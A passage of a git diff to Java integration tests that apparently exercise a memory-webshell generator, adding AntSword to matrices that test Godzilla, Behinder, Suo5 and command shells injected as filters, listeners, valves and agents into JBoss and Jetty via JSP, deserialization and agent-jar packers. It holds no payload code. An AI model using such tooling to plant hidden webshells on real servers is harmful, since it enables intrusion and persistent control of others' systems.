Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index dabc966a..86ac7c82 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -50,6 +50,8 @@ public class Jboss423ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jboss423ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -66,9 +70,13 @@ public class Jboss423ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index be8ebcde..9ef1ebb2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -51,6 +51,8 @@ public class Jboss510ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class Jboss510ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -67,9 +71,13 @@ public class Jboss510ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index f0b93473..7d2473c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -50,6 +50,8 @@ public class Jboss610ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jboss610ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -66,9 +70,13 @@ public class Jboss610ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 43d6f9ce..9b441473 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -49,17 +49,22 @@ public class Jboss711ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index ce9c283e..e3c87a7c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -46,17 +46,22 @@ public class JbossEap6ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index b4b19ffb..0f708c37 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -51,6 +51,8 @@ public class JbossEap7ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class JbossEap7ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -67,6 +71,9 @@ public class JbossEap7ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index ad04a559..1324920d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -49,6 +49,8 @@ public class Jetty61ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -57,6 +59,8 @@ public class Jetty61ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -64,7 +68,9 @@ public class Jetty61ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize) // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index 9a5f1e87..a94d4c02 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -50,6 +50,8 @@ public class Jetty76ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jetty76ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,9 +70,13 @@ public class Jetty76ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar) + ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index a396ea92..6e816020 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -50,6 +50,8 @@ public class Jetty81ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jetty81ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,9 +70,12 @@ public class Jetty81ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index bf86d5b4..3be0ade5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -51,6 +51,8 @@ public class Jetty92ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class Jetty92ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -67,6 +71,9 @@ public class Jetty92ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 35d915d2..2ecc3d63 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -50,6 +50,8 @@ public class Jetty93ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jetty93ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,9 @@ public class Jetty93ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git 